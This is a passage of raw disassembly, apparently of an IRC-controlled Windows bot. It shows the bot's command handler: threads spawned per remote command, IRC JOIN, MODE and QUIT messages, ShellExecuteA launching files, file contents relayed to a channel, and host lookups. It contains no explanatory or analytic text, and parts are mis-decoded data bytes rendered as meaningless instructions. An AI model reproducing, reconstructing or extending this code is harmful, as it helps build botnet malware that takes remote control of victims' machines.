eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_410847 loc_410831: ; CODE XREF: seg000:00410845j cmp [ebp-2E8h], ebx jnz loc_40F6F7 push 32h call ds:dword_421060 ; Sleep jmp short loc_410831 ; --------------------------------------------------------------------------- loc_410847: ; CODE XREF: seg000:0041082Fj call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_4348F4 jmp loc_40F6E8 ; --------------------------------------------------------------------------- loc_410858: ; CODE XREF: seg000:0040F2D3j ; seg000:0040F2EAj push dword ptr [ebp+20h] call sub_415A3F cmp eax, ebx pop ecx mov [ebp-578h], eax jle loc_410949 mov esi, 80h push edi lea eax, [ebp-700h] push esi push eax call sub_415A4A xor eax, eax cmp [ebp-9A2h], bl push dword ptr [ebp-8Ch] setnz al mov [ebp-574h], eax mov eax, [ebp+0Ch] mov [ebp-704h], eax lea eax, [ebp-600h] push esi push eax call sub_415A4A mov eax, [ebp-4] push dword ptr [ebp+20h] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax push edi push offset unk_4348B4 lea eax, [ebp-2C8h] push 200h push eax call sub_415A4A push ebx lea eax, [ebp-2C8h] push 0Dh push eax call sub_414F79 add esp, 38h mov [ebp-580h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-704h] push ebx push eax push offset loc_401447 push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-580h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_410938 loc_410922: ; CODE XREF: seg000:00410936j cmp [ebp-568h], ebx jnz loc_40F795 push 32h call ds:dword_421060 ; Sleep jmp short loc_410922 ; --------------------------------------------------------------------------- loc_410938: ; CODE XREF: seg000:00410920j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434868 jmp loc_40F786 ; --------------------------------------------------------------------------- loc_410949: ; CODE XREF: seg000:00410869j push offset unk_43481C jmp loc_412012 ; --------------------------------------------------------------------------- loc_410953: ; CODE XREF: seg000:0040F2A5j ; seg000:0040F2BCj push dword ptr [ebp+20h] push edi call near ptr 3D0000h push es test eax, eax jz short loc_410980 push dword ptr [ebp+20h] lea eax, [ebp-2C8h] push edi push offset unk_4347E4 push 200h push eax call sub_415A4A jmp loc_4111A3 ; --------------------------------------------------------------------------- loc_410980: ; CODE XREF: seg000:0041095Fj push offset dword_4347C4 call loc_409BEC push eax lea eax, [ebp-2C8h] push 200h push eax call sub_415A4A add esp, 10h jmp loc_40F795 ; --------------------------------------------------------------------------- loc_4109A4: ; CODE XREF: seg000:0040F277j ; seg000:0040F28Ej push edi lea eax, [ebp-77Ch] push 104h push eax call sub_415A4A add esp, 0Ch cmp [ebp-0Ch], ebx jz short loc_4109DE push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_415AA0 pop ecx cmp eax, ebx pop ecx jz short loc_4109DE push eax lea eax, [ebp-678h] push eax call sub_4154CD pop ecx pop ecx loc_4109DE: ; CODE XREF: seg000:004109BCj ; seg000:004109CDj push dword ptr [ebp-8Ch] lea eax, [ebp-7FCh] push 80h push eax call sub_415A4A mov eax, [ebp+0Ch] mov [ebp-800h], eax mov eax, [ebp-4] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax lea eax, [ebp-678h] push eax lea eax, [ebp-77Ch] push eax push offset unk_434780 lea eax, [ebp-2C8h] push 200h push eax call sub_415A4A push ebx lea eax, [ebp-2C8h] push 1Bh push eax call sub_414F79 add esp, 2Ch mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-800h] push ebx push eax push offset sub_40876C push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_410A91 loc_410A7B: ; CODE XREF: seg000:00410A8Fj cmp [ebp-568h], ebx jnz loc_412834 push 32h call ds:dword_421060 ; Sleep jmp short loc_410A7B ; --------------------------------------------------------------------------- loc_410A91: ; CODE XREF: seg000:00410A79j call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434730 jmp loc_412825 ; --------------------------------------------------------------------------- loc_410AA2: ; CODE XREF: seg000:0040F249j ; seg000:0040F260j push 44h lea eax, [ebp-48Ch] pop esi push esi push ebx push eax call sub_415550 push 1 mov [ebp-48Ch], esi pop esi mov [ebp-45Ch], bx push edi mov [ebp-460h], esi call sub_415A3F add esp, 10h cmp eax, esi jnz short loc_410ADF mov word ptr [ebp-45Ch], 5 loc_410ADF: ; CODE XREF: seg000:00410AD4j cmp [ebp-0Ch], ebx jz loc_40F6F7 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_415AA0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_40F6F7 lea eax, [ebp-2D8h] push eax lea eax, [ebp-48Ch] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call near ptr 3D0000h add byte ptr [ebp+681875C0h], 0F8h inc esi inc ebx add [ebp-2C77Bh], cl ; CODE XREF: seg000:00410CBCj ; seg000:0041134Fj ... call dword ptr [eax-18h] pushf dec ecx ; --------------------------------------------------------------------------- db 0 dd 0E9595900h, 0FFFFEBBFh, 46CC6857h, 0A5E90043h ; --------------------------------------------------------------------------- jmp short near ptr loc_410B40+1 ; CODE XREF: seg000:loc_410B40j ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- loc_410B43: ; CODE XREF: seg000:0040F21Bj ; seg000:0040F232j push dword ptr [ebp+20h] push offset aIds443 ; "ids443" call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_410CB7 lea eax, [ebp-3E8h] push eax push 104h call near ptr 3D0000h cdq push 0FFh lea eax, [ebp-788h] push edi push eax call sub_416D20 lea eax, [ebp-2E4h] push eax call sub_41410C push eax lea eax, [ebp-3E8h] push eax lea eax, [ebp-688h] push offset aSS_exe ; "%s%s.exe" push eax call sub_4154CD mov eax, [ebp+esi-88h] add esp, 20h cmp eax, ebx mov dword ptr [ebp-584h], 1 mov [ebp-580h], ebx jz short loc_410BD5 push 10h push ebx push eax call sub_416A69 add esp, 0Ch mov [ebp-578h], eax jmp short loc_410BDB ; --------------------------------------------------------------------------- loc_410BD5: ; CODE XREF: seg000:00410BBFj mov [ebp-578h], ebx loc_410BDB: ; CODE XREF: seg000:00410BD3j mov esi, [ebp+esi-84h] cmp esi, ebx jz short loc_410BF5 push esi call sub_415A3F pop ecx mov [ebp-57Ch], eax jmp short loc_410BFB ; --------------------------------------------------------------------------- loc_410BF5: ; CODE XREF: seg000:00410BE4j mov [ebp-57Ch], ebx loc_410BFB: ; CODE XREF: seg000:00410BF3j movzx eax, byte ptr [ebp-9AFh] mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-8Ch] mov [ebp-574h], eax lea eax, [ebp-808h] mov [ebp-80Ch], esi push eax call sub_416D20 mov eax, [ebp-4] push edi mov [ebp-56Ch], eax mov eax, [ebp-8] mov [ebp-570h], eax lea eax, [ebp-2C8h] push offset unk_434680 push eax call sub_4154CD push esi lea eax, [ebp-2C8h] push 16h push eax call sub_414F79 add esp, 24h mov [ebp-588h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-80Ch] push ebx push eax push 40BCD3h push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-588h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_410CA6 loc_410C90: ; CODE XREF: seg000:00410CA4j cmp [ebp-568h], ebx jnz loc_40F6F7 push 32h call ds:dword_421060 ; Sleep jmp short loc_410C90 ; --------------------------------------------------------------------------- loc_410CA6: ; CODE XREF: seg000:00410C8Ej call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434630 jmp loc_40F6E8 ; --------------------------------------------------------------------------- loc_410CB7: ; CODE XREF: seg000:00410B54j push offset unk_4345D8 jmp near ptr loc_410B24+1 ; --------------------------------------------------------------------------- loc_410CC1: ; CODE XREF: seg000:0040F1EDj ; seg000:0040F204j push dword ptr [ebp-90h] push offset dword_436450 call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40D1FD cmp [ebp-0Ch], ebx jz loc_40D1FD push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_415AA0 push eax lea eax, [ebp-2C8h] push dword ptr [ebp-8Ch] push dword ptr [ebp-90h] push dword ptr [ebp-94h] push offset dword_4345C8 push eax call sub_4154CD lea eax, [ebp-2C8h] push 1FFh push eax push dword ptr [ebp+8] call sub_416D20 push edi call sub_415A3F add esp, 30h test eax, eax jle short loc_410D48 push edi call sub_415A3F imul eax, 3E8h pop ecx push eax call ds:dword_421060 ; Sleep loc_410D48: ; CODE XREF: seg000:00410D32j push offset dword_4345A0 call sub_40B151 mov eax, [ebp+2Ch] pop ecx inc eax jmp loc_40D200 ; --------------------------------------------------------------------------- loc_410D5C: ; CODE XREF: seg000:0040F1BFj ; seg000:0040F1D6j push dword ptr [ebp-90h] push offset dword_436450 call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40D1FD cmp [ebp-0Ch], ebx jz loc_412974 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_415AA0 mov esi, eax mov eax, [ebp+20h] inc eax push offset aRepeat ; "repeat" push eax call sub_4158F0 add esp, 10h test eax, eax push esi jz short loc_410E18 push dword ptr [ebp-8Ch] lea eax, [ebp-2C8h] push dword ptr [ebp-90h] push dword ptr [ebp-94h] push offset dword_4345C8 push eax call sub_4154CD lea eax, [ebp-2C8h] push 1FFh push eax push dword ptr [ebp+8] call sub_416D20 push esi lea eax, [ebp-2C8h] push offset dword_43456C push eax call sub_4154CD lea eax, [ebp-2C8h] push eax call sub_40B151 push edi call sub_415A3F add esp, 38h test eax, eax jle loc_412974 push edi call sub_415A3F add eax, [ebp+2Ch] pop ecx jmp loc_40D200 ; --------------------------------------------------------------------------- loc_410E18: ; CODE XREF: seg000:00410DA1j push offset dword_434524 jmp loc_40F6E8 ; --------------------------------------------------------------------------- loc_410E22: ; CODE XREF: seg000:0040F191j ; seg000:0040F1A8j push dword ptr [ebp+20h] lea eax, [ebp-2C8h] push offset dword_43451C push eax call sub_4154CD push edi call sub_415A3F add esp, 10h loc_410E3F: ; CODE XREF: seg000:00410EA9j test eax, eax jle loc_412974 push edi call sub_415A3F cmp eax, 12Ch pop ecx jge loc_412974 loc_410E59: ; CODE XREF: seg000:0041173Ej lea eax, [ebp-2C8h] push eax push offset dword_425050 push edi call sub_415A3F imul eax, 234h pop ecx push ds:dword_43F514[eax] call sub_412CEC loc_410E7D: ; CODE XREF: seg000:004125D9j add esp, 0Ch jmp loc_412974 ; --------------------------------------------------------------------------- loc_410E85: ; CODE XREF: seg000:0040F163j ; seg000:0040F17Aj push dword ptr [ebp+esi-88h] lea eax, [ebp-2C8h] push dword ptr [ebp+20h] push offset dword_434510 push eax call sub_4154CD push edi call sub_415A3F add esp, 14h jmp short loc_410E3F ; --------------------------------------------------------------------------- loc_410EAB: ; CODE XREF: seg000:0040F135j ; seg000:0040F14Cj push dword ptr [ebp+20h] lea eax, [ebp-2C8h] push offset dword_434508 push eax call sub_4154CD push edi call sub_415A3F add esp, 10h test eax, eax jle loc_412974 push edi call sub_415A3F cmp eax, 12Ch pop ecx jge loc_412974 lea eax, [ebp-2C8h] push eax push offset dword_425050 push edi call sub_415A3F imul eax, 234h pop ecx push ds:dword_43F514[eax] call sub_412CEC push dword ptr [ebp+20h] push edi push offset dword_4344D8 loc_410F0F: ; CODE XREF: seg000:00410F99j ; seg000:00411004j ... call sub_40B1C5 loc_410F14: ; CODE XREF: seg000:004122A9j add esp, 18h jmp loc_412974 ; --------------------------------------------------------------------------- loc_410F1C: ; CODE XREF: seg000:0040F107j ; seg000:0040F11Ej cmp [ebp-0Ch], ebx jz loc_412974 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_415AA0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_410F4D push esi lea eax, [ebp-2C8h] push offset dword_4344D0 push eax call sub_4154CD add esp, 0Ch loc_410F4D: ; CODE XREF: seg000:00410F36j push edi call sub_415A3F test eax, eax pop ecx jle loc_412974 push edi call sub_415A3F cmp eax, 12Ch pop ecx jge loc_412974 lea eax, [ebp-2C8h] push eax push offset dword_425050 push edi call sub_415A3F imul eax, 234h pop ecx push ds:dword_43F514[eax] call sub_412CEC push esi push edi push offset dword_4344A0 jmp loc_410F0F ; --------------------------------------------------------------------------- loc_410F9E: ; CODE XREF: seg000:0040F0D9j ; seg000:0040F0F0j cmp [ebp-0Ch], ebx jz loc_412974 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_415AA0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_412974 push edi call sub_415A3F test eax, eax pop ecx jle loc_412974 push edi call sub_415A3F cmp eax, 12Ch pop ecx jge loc_412974 push esi push offset dword_425050 push edi call sub_415A3F imul eax, 234h pop ecx push ds:dword_43F514[eax] call sub_412CEC push esi push edi push offset dword_434470 jmp loc_410F0F ; --------------------------------------------------------------------------- loc_411009: ; CODE XREF: seg000:0040F0ABj ; seg000:0040F0C2j cmp [ebp-0Ch], ebx jz loc_412974 push edi push dword ptr [ebp-0Ch] call sub_415AA0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_412974 push esi push offset aModeS ; "MODE %s\r\n" push dword ptr [ebp+0Ch] call sub_412CEC push esi push offset dword_434434 loc_41103B: ; CODE XREF: seg000:004118E3j ; seg000:004118FCj ... call sub_40B1C5 loc_411040: ; CODE XREF: seg000:004110A9j add esp, 14h jmp loc_412974 ; --------------------------------------------------------------------------- loc_411048: ; CODE XREF: seg000:0040F07Dj ; seg000:0040F094j push dword ptr [ebp-90h] push offset dword_436450 call sub_4158F0 pop ecx test eax, eax pop ecx jz loc_40D1FD push dword ptr [ebp+20h] push offset dword_434428 push dword ptr [ebp+0Ch] call sub_412CEC push edi call sub_415A3F imul eax, 3E8h add esp, 10h push eax call ds:dword_421060 ; Sleep push dword ptr [ebp+esi-88h] push dword ptr [ebp+20h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_412CEC push offset dword_434400 call sub_40B151 jmp short loc_411040 ; --------------------------------------------------------------------------- loc_4110AB: ; CODE XREF: seg000:0040F04Fj ; seg000:0040F066j cmp [ebp-0Ch], ebx jz loc_412974 push edi call sub_415CD0 push dword ptr [ebp+10h] mov esi, eax call sub_415CD0 add eax, [ebp-0Ch] push dword ptr [ebp+20h] lea eax, [eax+esi+2] push eax call sub_415AA0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_412974 push esi lea eax, [ebp-2C8h] push offset dword_434C98 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push ebx push eax push edi push dword ptr [ebp+0Ch] call sub_412D32 push esi push edi push offset dword_4343D0 call sub_40B1C5 add esp, 2Ch jmp loc_412974 ; --------------------------------------------------------------------------- loc_411119: ; CODE XREF: seg000:0040F021j ; seg000:0040F038j cmp [ebp-0Ch], ebx jz loc_412974 push edi call sub_415CD0 push dword ptr [ebp+10h] mov esi, eax call sub_415CD0 add eax, [ebp-0Ch] push dword ptr [ebp+20h] lea eax, [eax+esi+2] push eax call sub_415AA0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_412974 push ebx push ebx push esi push edi push dword ptr [ebp+0Ch] call sub_412D32 push esi push edi push offset dword_4343A0 call sub_40B1C5 jmp loc_40FD49 ; --------------------------------------------------------------------------- loc_41116C: ; CODE XREF: seg000:0040EFF3j ; seg000:0040F00Aj cmp [ebp-0Ch], ebx jz loc_40D1FD push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_415AA0 pop ecx cmp eax, ebx pop ecx jz loc_40D1FD push eax push edi call sub_40B059 push edi lea eax, [ebp-2C8h] push offset dword_434370 push eax call sub_4154CD loc_4111A3: ; CODE XREF: seg000:0041097Bj add esp, 14h jmp loc_40F795 ; --------------------------------------------------------------------------- loc_4111AB: ; CODE XREF: seg000:0040EFB3j ; seg000:0040EFCAj push edi push dword ptr [ebp+24h] call sub_415AA0 pop ecx test eax, eax pop ecx jz loc_412974 mov esi, [ebp+esi-8Ch] cmp esi, ebx jz short loc_411248 push esi push dword ptr [ebp-0Ch] call sub_415AA0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_411230 push esi lea eax, [ebp-2C8h] push dword ptr [ebp-8Ch] push dword ptr [ebp-90h] push dword ptr [ebp-94h] push offset dword_4345C8 push eax call sub_4154CD lea eax, [ebp-2C8h] push 1FFh push eax push dword ptr [ebp+8] call sub_416D20 push esi push edi lea eax, [ebp-2C8h] push offset dword_434338 push eax call sub_4154CD add esp, 34h inc dword ptr [ebp+2Ch] jmp loc_4124BC ; --------------------------------------------------------------------------- loc_411230: ; CODE XREF: seg000:004111D8j lea eax, [ebp-2C8h] push offset dword_4342F4 push eax call sub_4154CD pop ecx pop ecx jmp loc_4124BC ; --------------------------------------------------------------------------- loc_411248: ; CODE XREF: seg000:004111C7j push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push dword ptr [ebp+24h] push eax call sub_40AD69 add esp, 0Ch push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 push edi push offset dword_4342C8 lea eax, [ebp-2C8h] push 200h push eax call sub_415A4A add esp, 24h jmp loc_4124BC ; --------------------------------------------------------------------------- loc_41128F: ; CODE XREF: seg000:0040E9B8j ; seg000:0040E9CFj push offset aR ; "r" push edi call sub_415BC8 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_411309 mov ebx, 200h push esi lea eax, [ebp-2C8h] push ebx push eax call sub_41711C add esp, 0Ch loc_4112B8: ; CODE XREF: seg000:004112E7j test eax, eax jz short loc_4112E9 push 1 lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 push esi lea eax, [ebp-2C8h] push ebx push eax call sub_41711C add esp, 20h jmp short loc_4112B8 ; --------------------------------------------------------------------------- loc_4112E9: ; CODE XREF: seg000:004112BAj push esi call sub_415B20 push edi lea eax, [ebp-2C8h] push offset dword_434290 push eax call sub_4154CD add esp, 10h jmp loc_40EF8B ; --------------------------------------------------------------------------- loc_411309: ; CODE XREF: seg000:004112A0j push edi push offset dword_43425C jmp loc_41284F ; --------------------------------------------------------------------------- loc_411314: ; CODE XREF: seg000:0040E98Aj ; seg000:0040E9A1j cmp [ebp-0Ch], ebx jz loc_412974 push edi push dword ptr [ebp-0Ch] call sub_415AA0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_412974 push offset asc_426C7C ; "\n" push esi call sub_415BF0 push esi call sub_40A5CD add esp, 0Ch test eax, eax jnz short loc_411354 push offset dword_43421C jmp near ptr loc_410B24+1 ; --------------------------------------------------------------------------- loc_411354: ; CODE XREF: seg000:00411348j push esi push offset dword_4341F0 jmp loc_4124AD ; --------------------------------------------------------------------------- loc_41135F: ; CODE XREF: seg000:0040E95Cj ; seg000:0040E973j cmp [ebp-0Ch], ebx jz loc_412974 push edi push dword ptr [ebp-0Ch] call sub_415AA0 pop ecx cmp eax, ebx pop ecx jz loc_412974 push eax call sub_409CB1 test eax, eax pop ecx jnz short loc_411390 push offset unk_4341C0 jmp near ptr loc_410B24+1 ; --------------------------------------------------------------------------- loc_411390: ; CODE XREF: seg000:00411384j push offset dword_434190 jmp near ptr loc_410B24+1 ; --------------------------------------------------------------------------- loc_41139A: ; CODE XREF: seg000:0040E92Ej ; seg000:0040E945j push 7Fh lea eax, [ebp-6F4h] push edi push eax call sub_416D20 mov esi, [ebp+esi-8Ch] add esp, 0Ch cmp esi, ebx jz short loc_4113C9 push 7Fh lea eax, [ebp-674h] push esi push eax call sub_416D20 add esp, 0Ch loc_4113C9: ; CODE XREF: seg000:004113B5j push 7Fh lea eax, [ebp-5F4h] push dword ptr [ebp-8Ch] push eax call sub_416D20 mov eax, [ebp+0Ch] push edi mov [ebp-6F8h], eax mov eax, [ebp-8] mov [ebp-570h], eax mov eax, [ebp-4] mov [ebp-56Ch], eax lea eax, [ebp-2C8h] push offset dword_434164 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 14h push eax call sub_414F79 add esp, 24h mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-6F8h] push ebx push eax push offset sub_40AE2F push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_411467 loc_411451: ; CODE XREF: seg000:00411465j cmp [ebp-568h], ebx jnz loc_4124BC push 32h call ds:dword_421060 ; Sleep jmp short loc_411451 ; --------------------------------------------------------------------------- loc_411467: ; CODE XREF: seg000:0041144Fj call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_434114 jmp loc_4124AD ; --------------------------------------------------------------------------- loc_411478: ; CODE XREF: seg000:0040E900j ; seg000:0040E917j push ebx push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] push edi call loc_406394 push edi push offset dword_4340EC jmp loc_410F0F ; --------------------------------------------------------------------------- loc_411493: ; CODE XREF: seg000:0040E8D2j ; seg000:0040E8E9j push 14h lea eax, [ebp-710h] push ebx push eax call sub_415550 push edi lea eax, [ebp-6FCh] push offset aS_1 ; "%s" push eax call sub_4154CD mov eax, [ebp+0Ch] mov [ebp-718h], eax lea eax, [ebp-0C4h] push eax lea eax, [ebp-5F8h] push 80h push eax call sub_415A4A mov eax, [ebp-4] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax lea eax, [ebp-5F8h] push eax lea eax, [ebp-6FCh] push eax lea eax, [ebp-2C8h] push offset dword_4340B4 push eax call sub_4154CD push ebx lea eax, [ebp-2C8h] push 12h push eax call sub_414F79 add esp, 40h mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-718h] push ebx push eax push 40B6F6h push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_411563 loc_41154D: ; CODE XREF: seg000:00411561j cmp [ebp-568h], ebx jnz loc_412834 push 32h call ds:dword_421060 ; Sleep jmp short loc_41154D ; --------------------------------------------------------------------------- loc_411563: ; CODE XREF: seg000:0041154Bj call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset dword_436350 jmp loc_412825 ; --------------------------------------------------------------------------- loc_411574: ; CODE XREF: seg000:0040E8A4j ; seg000:0040E8BBj push edi call near ptr 3D0000h arpl [ebp+570874C0h], ax push offset dword_434084 jmp short loc_411592 ; --------------------------------------------------------------------------- push offset dword_4347C4 call loc_409BEC push eax loc_411592: ; CODE XREF: seg000:00411585j lea eax, [ebp-2C8h] push 200h push eax call sub_415A4A add esp, 10h jmp loc_40EF6A ; --------------------------------------------------------------------------- loc_4115AB: ; CODE XREF: seg000:0040E876j ; seg000:0040E88Dj push edi call sub_415A3F push eax call sub_414047 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_4115C8 push offset dword_43404C jmp short loc_4115CD ; --------------------------------------------------------------------------- loc_4115C8: ; CODE XREF: seg000:004115BFj push offset dword_434004 loc_4115CD: ; CODE XREF: seg000:004115C6j lea eax, [ebp-2C8h] push eax call sub_4154CD add esp, 0Ch cmp [ebp-8], ebx jnz loc_40EF8E push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 14h jmp loc_40EF8E ; --------------------------------------------------------------------------- loc_411606: ; CODE XREF: seg000:0040E848j ; seg000:0040E85Fj push ebx push ebx push edi push dword ptr [ebp-4] push ebx push dword ptr [ebp+0Ch] call sub_413DB8 add esp, 18h cmp eax, 1 push edi jnz short loc_411628 push offset dword_433FCC jmp loc_41284F ; --------------------------------------------------------------------------- loc_411628: ; CODE XREF: seg000:0041161Cj push offset dword_433F88 jmp loc_41284F ; --------------------------------------------------------------------------- loc_411632: ; CODE XREF: seg000:0040E81Aj ; seg000:0040E831j push edi call ds:dword_43A3B8 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz short loc_41166F push 2 lea eax, [ebp+8] push 4 push eax call ds:dword_43A330 ; gethostbyaddr cmp eax, ebx jz short loc_41168A push dword ptr [eax] loc_411655: ; CODE XREF: seg000:00411688j push edi lea eax, [ebp-2C8h] push offset dword_433F58 push eax call sub_4154CD add esp, 10h jmp loc_40F6F7 ; --------------------------------------------------------------------------- loc_41166F: ; CODE XREF: seg000:0041163Fj push edi call ds:dword_43A3FC ; gethostbyname cmp eax, ebx jz short loc_41168A mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call ds:dword_43A404 ; inet_ntoa push eax jmp short loc_411655 ; --------------------------------------------------------------------------- loc_41168A: ; CODE XREF: seg000:00411651j ; seg000:00411678j push offset dword_433F1C jmp near ptr loc_410B24+1 ; --------------------------------------------------------------------------- loc_411694: ; CODE XREF: seg000:0040E7ECj ; seg000:0040E803j push 7Fh push edi push dword ptr [ebp+1Ch] call sub_416D20 push edi lea eax, [ebp-2C8h] push offset dword_433EE4 push eax call sub_4154CD add esp, 18h jmp loc_40ECA7 ; --------------------------------------------------------------------------- loc_4116B9: ; CODE XREF: seg000:0040E7BEj ; seg000:0040E7D5j push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call ds:dword_43A2EC ; ShellExecuteA test eax, eax push edi jz short loc_4116D9 push offset unk_433EB4 jmp loc_41284F ; --------------------------------------------------------------------------- loc_4116D9: ; CODE XREF: seg000:004116CDj push offset unk_433E7C jmp loc_41284F ; --------------------------------------------------------------------------- loc_4116E3: ; CODE XREF: seg000:0040E790j ; seg000:0040E7A7j mov al, [edi] mov ds:byte_42C164, al movsx eax, byte ptr [edi] push eax push offset dword_433E44 jmp loc_40EC98 ; --------------------------------------------------------------------------- loc_4116F8: ; CODE XREF: seg000:0040E762j ; seg000:0040E779j push edi call sub_415A3F test eax, eax pop ecx jle loc_412974 push edi call sub_415A3F cmp eax, 12Ch pop ecx jge loc_412974 push ebx push ebx lea eax, [ebp-0A4h] push 2 push eax call sub_414419 push eax lea eax, [ebp-2C8h] push offset dword_434508 push eax call sub_4154CD add esp, 1Ch jmp loc_410E59 ; --------------------------------------------------------------------------- loc_411743: ; CODE XREF: seg000:0040E734j ; seg000:0040E74Bj push edi call sub_415A3F test eax, eax pop ecx jle loc_40D1FD push edi call sub_415A3F cmp eax, 12Ch pop ecx jge loc_40D1FD push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_415A3F imul eax, 234h pop ecx push ds:dword_43F514[eax] call sub_412CEC pop ecx pop ecx push 1F4h call ds:dword_421060 ; Sleep push edi call sub_415A3F imul eax, 234h pop ecx push ds:dword_43F514[eax] call ds:dword_43A410 ; closesocket push dword ptr [ebp-10h] push edi call sub_415A3F imul eax, 234h pop ecx push ds:dword_43F51C[eax] call near ptr 3D0000h stc push edi call sub_415A3F imul eax, 234h push edi mov ds:dword_43F51C[eax], ebx call sub_415A3F imul eax, 234h pop ecx pop ecx mov byte ptr ds:dword_43F308[eax], bl jmp loc_40D1FD ; --------------------------------------------------------------------------- loc_4117EE: ; CODE XREF: seg000:0040E706j ; seg000:0040E71Dj push edi push offset aAll ; "all" call sub_4158F0 pop ecx test eax, eax pop ecx jnz short loc_41181D call sub_415142 cmp eax, ebx jle short loc_411813 push eax push offset dword_433DF4 jmp loc_40F786 ; --------------------------------------------------------------------------- loc_411813: ; CODE XREF: seg000:00411806j push offset dword_433DB8 jmp loc_412012 ; --------------------------------------------------------------------------- loc_41181D: ; CODE XREF: seg000:004117FDj mov eax, [ebp-0ACh] lea edi, [eax+1] cmp edi, 20h jnb loc_40D1FD lea eax, [ebp+edi*4-94h] mov [ebp+2Ch], eax loc_411839: ; CODE XREF: seg000:004118AAj mov eax, [ebp+2Ch] mov esi, [eax] cmp esi, ebx jz loc_40D1FD push esi call sub_415A3F push eax call sub_4150B4 pop ecx pop ecx test eax, eax push esi jz short loc_411860 push offset dword_433D80 jmp short loc_411865 ; --------------------------------------------------------------------------- loc_411860: ; CODE XREF: seg000:00411857j push offset dword_433D40 loc_411865: ; CODE XREF: seg000:0041185Ej lea eax, [ebp-2C8h] push eax call sub_4154CD add esp, 0Ch cmp [ebp-8], ebx jnz short loc_411895 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_412D32 add esp, 14h loc_411895: ; CODE XREF: seg000:00411877j lea eax, [ebp-2C8h] push eax call sub_40B151 add dword ptr [ebp+2Ch], 4 inc edi cmp edi, 20h pop ecx jb short loc_411839 jmp loc_40D1FD ; --------------------------------------------------------------------------- loc_4118B1: ; CODE XREF: seg000:0040E6D8j ; seg000:0040E6EFj cmp [ebp-0Ch], ebx jz loc_412974 push edi push dword ptr [ebp-0Ch] call sub_415AA0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_412974 push esi push offset dword_425050 push dword ptr [ebp+0Ch] call sub_412CEC push esi push offset dword_433D14 jmp loc_41103B ; --------------------------------------------------------------------------- loc_4118E8: ; CODE XREF: seg000:0040E6AAj ; seg000:0040E6C1j push edi push offset dword_434428 push dword ptr [ebp+0Ch] call sub_412CEC push edi push offset dword_433CE0 jmp loc_41103B ; --------------------------------------------------------------------------- loc_411901: ; CODE XREF: seg000:0040E67Cj ; seg000:0040E693j push dword ptr [ebp+esi-8Ch] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_412CEC push edi push offset dword_433CAC jmp 